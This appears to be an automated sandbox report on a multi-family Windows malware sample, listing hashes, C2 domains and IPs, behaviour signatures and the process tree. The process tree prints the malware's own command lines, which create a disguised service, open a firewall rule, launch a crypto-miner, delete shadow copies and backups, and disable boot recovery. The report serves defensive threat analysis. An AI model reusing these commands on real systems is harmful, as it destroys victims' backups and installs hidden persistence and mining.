Overview

overview

10

Static

static

dridex

windows10_x64

10

Analysis

  • max time kernel
    153s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    21/09/2021, 07:16

Sharing

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General

  • Target

    4c6dc5b55c14191f873094f6680ea29344fdc376e4f38868ba450fa89ca6c766.exe

  • Size

    212KB

  • MD5

    6cc5fa3b215541aaa78c1be9d3fa5054

  • SHA1

    242b01ea25a30bf2bae8cd8c775f9d42bc2b20e1

  • SHA256

    4c6dc5b55c14191f873094f6680ea29344fdc376e4f38868ba450fa89ca6c766

  • SHA512

    dbc547dbc0436ca6c47c1bacd0bd85cc8945e5e16c3ceeeb73aad80b9822e1e38b7b91852fe56f19a8967a36d2779b4ade632b6d157e42ff180d65e103c0214f

Score
10/10
medusalockerraccoonredlinesmokeloadertofseexmriginstallexebackdoordiscoveryevasioninfostealerminerpersistenceransomwarespywarestealerthemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://venerynnet1.top/

http://kevonahira2.top/

http://vegangelist3.top/

http://kingriffaele4.top/

http://arakeishant5.top/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

installEXE

C2

146.70.35.170:30905

Signatures

  • MedusaLocker

    Ransomware with several variants first seen in September 2019.

    ransomwaremedusalocker
  • MedusaLocker Payload 1 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Deletes System State backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Downloads MZ/PE file
  • Drops file in Drivers directory 12 IoCs
  • Executes dropped EXE 9 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Modifies extensions of user files 12 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 42 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 64 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 49 IoCs
  • Drops file in Windows directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Interacts with shadow copies 2 TTPs 13 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies data under HKEY_USERS 12 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\4c6dc5b55c14191f873094f6680ea29344fdc376e4f38868ba450fa89ca6c766.exe
    "C:\Users\Admin\AppData\Local\Temp\4c6dc5b55c14191f873094f6680ea29344fdc376e4f38868ba450fa89ca6c766.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1896
    • C:\Users\Admin\AppData\Local\Temp\4c6dc5b55c14191f873094f6680ea29344fdc376e4f38868ba450fa89ca6c766.exe
      "C:\Users\Admin\AppData\Local\Temp\4c6dc5b55c14191f873094f6680ea29344fdc376e4f38868ba450fa89ca6c766.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1380
  • C:\Users\Admin\AppData\Local\Temp\59E.exe
    C:\Users\Admin\AppData\Local\Temp\59E.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Users\Admin\AppData\Local\Temp\59E.exe
      C:\Users\Admin\AppData\Local\Temp\59E.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4056
  • C:\Users\Admin\AppData\Local\Temp\131D.exe
    C:\Users\Admin\AppData\Local\Temp\131D.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:2236
  • C:\Users\Admin\AppData\Local\Temp\7003.exe
    C:\Users\Admin\AppData\Local\Temp\7003.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jkioxzq\
      2⤵
        PID:1428
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zcavpwgq.exe" C:\Windows\SysWOW64\jkioxzq\
        2⤵
          PID:2772
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jkioxzq binPath= "C:\Windows\SysWOW64\jkioxzq\zcavpwgq.exe /d\"C:\Users\Admin\AppData\Local\Temp\7003.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1196
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jkioxzq "wifi internet conection"
            2⤵
              PID:948
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jkioxzq
              2⤵
                PID:4012
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1664
              • C:\Users\Admin\AppData\Local\Temp\7FE2.exe
                C:\Users\Admin\AppData\Local\Temp\7FE2.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:3752
              • C:\Windows\SysWOW64\jkioxzq\zcavpwgq.exe
                C:\Windows\SysWOW64\jkioxzq\zcavpwgq.exe /d"C:\Users\Admin\AppData\Local\Temp\7003.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2708
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1056
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                      PID:3788
                • C:\Users\Admin\AppData\Local\Temp\90CB.exe
                  C:\Users\Admin\AppData\Local\Temp\90CB.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:2932
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\90CB.exe"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2848
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:1984
                • C:\Users\Admin\AppData\Local\Temp\C162.exe
                  C:\Users\Admin\AppData\Local\Temp\C162.exe
                  1⤵
                  • Drops file in Drivers directory
                  • Executes dropped EXE
                  • Modifies extensions of user files
                  • Adds Run key to start application
                  • Drops desktop.ini file(s)
                  • Enumerates connected drives
                  • Drops file in System32 directory
                  • Drops file in Program Files directory
                  • Drops file in Windows directory
                  • Suspicious use of WriteProcessMemory
                  • System policy modification
                  PID:3748
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
                    2⤵
                    • Interacts with shadow copies
                    PID:596
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
                    2⤵
                    • Interacts with shadow copies
                    PID:1624
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1892
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:3644
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:2584
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:2712
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:700
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:3880
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:256
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:3532
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:948
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:2588
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Delete Shadows /All /Quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:1656
                  • C:\Windows\SYSTEM32\bcdedit.exe
                    bcdedit.exe /set {default} recoveryenabled No
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:3068
                  • C:\Windows\SYSTEM32\bcdedit.exe
                    bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2712
                  • C:\Windows\SYSTEM32\wbadmin.exe
                    wbadmin DELETE SYSTEMSTATEBACKUP
                    2⤵
                    • Deletes System State backups
                    • Drops file in Windows directory
                    PID:1520
                  • C:\Windows\SYSTEM32\wbadmin.exe
                    wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
                    2⤵
                    • Deletes System State backups
                    • Drops file in Windows directory
                    PID:596
                  • C:\Windows\System32\Wbem\wmic.exe
                    wmic.exe SHADOWCOPY /nointeractive
                    2⤵
                      PID:600
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\C162.exe >> NUL
                      2⤵
                        PID:280
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1652
                    • C:\Users\Admin\AppData\Local\Temp\CFAB.exe
                      C:\Users\Admin\AppData\Local\Temp\CFAB.exe
                      1⤵
                      • Executes dropped EXE
                      PID:1132

                    Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • memory/1056-207-0x00000000001B0000-0x00000000001C5000-memory.dmp

                      Filesize

                      84KB

                      Download

                    • memory/1132-249-0x0000000002250000-0x00000000022E0000-memory.dmp

                      Filesize

                      576KB

                      Download

                    • memory/1132-250-0x0000000000400000-0x0000000000503000-memory.dmp

                      Filesize

                      1.0MB

                      Download

                    • memory/1380-115-0x0000000000400000-0x0000000000408000-memory.dmp

                      Filesize

                      32KB

                      Download

                    • memory/1508-182-0x00000000005A0000-0x00000000005B3000-memory.dmp

                      Filesize

                      76KB

                      Download

                    • memory/1508-183-0x0000000000400000-0x00000000004C0000-memory.dmp

                      Filesize

                      768KB

                      Download

                    • memory/1896-117-0x00000000004C0000-0x000000000056E000-memory.dmp

                      Filesize

                      696KB

                      Download

                    • memory/2236-151-0x0000000006A20000-0x0000000006A21000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2236-131-0x00000000009F0000-0x00000000009F1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2236-133-0x0000000005910000-0x0000000005911000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2236-139-0x0000000077E30000-0x0000000077FBE000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/2236-137-0x0000000005220000-0x0000000005221000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2236-141-0x0000000005410000-0x0000000005411000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2236-145-0x0000000005280000-0x0000000005281000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2236-149-0x00000000052F0000-0x00000000052F1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2236-154-0x0000000007120000-0x0000000007121000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2236-160-0x0000000006E90000-0x0000000006E91000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2236-165-0x0000000008870000-0x0000000008871000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2708-206-0x0000000000400000-0x00000000004C0000-memory.dmp

                      Filesize

                      768KB

                      Download

                    • memory/2788-122-0x0000000000EC0000-0x0000000000EC1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2788-126-0x0000000005D60000-0x0000000005D61000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2788-127-0x0000000005850000-0x0000000005851000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2788-125-0x00000000056A0000-0x00000000056A1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2788-124-0x00000000056D0000-0x00000000056D1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/2872-118-0x0000000000430000-0x0000000000445000-memory.dmp

                      Filesize

                      84KB

                      Download

                    • memory/2932-196-0x0000000006550000-0x000000000A62F000-memory.dmp

                      Filesize

                      64.9MB

                      Download

                    • memory/2932-197-0x0000000000400000-0x0000000004605000-memory.dmp

                      Filesize

                      66.0MB

                      Download

                    • memory/3748-220-0x00007FF7F2860000-0x00007FF7F30D8000-memory.dmp

                      Filesize

                      8.5MB

                      Download

                    • memory/3752-184-0x0000000005790000-0x0000000005791000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/3752-185-0x00000000057E0000-0x00000000057E1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/3752-174-0x0000000000CE0000-0x0000000000CE1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/3752-179-0x0000000077E30000-0x0000000077FBE000-memory.dmp

                      Filesize

                      1.6MB

                      Download

                    • memory/3788-243-0x00000000008D0000-0x00000000009C1000-memory.dmp

                      Filesize

                      964KB

                      Download

                    • memory/3788-248-0x00000000008D0000-0x00000000009C1000-memory.dmp

                      Filesize

                      964KB

                      Download

                    • memory/4056-150-0x0000000004CB0000-0x00000000052B6000-memory.dmp

                      Filesize

                      6.0MB

                      Download

                    • memory/4056-147-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/4056-155-0x0000000006980000-0x0000000006981000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/4056-134-0x0000000000400000-0x0000000000422000-memory.dmp

                      Filesize

                      136KB

                      Download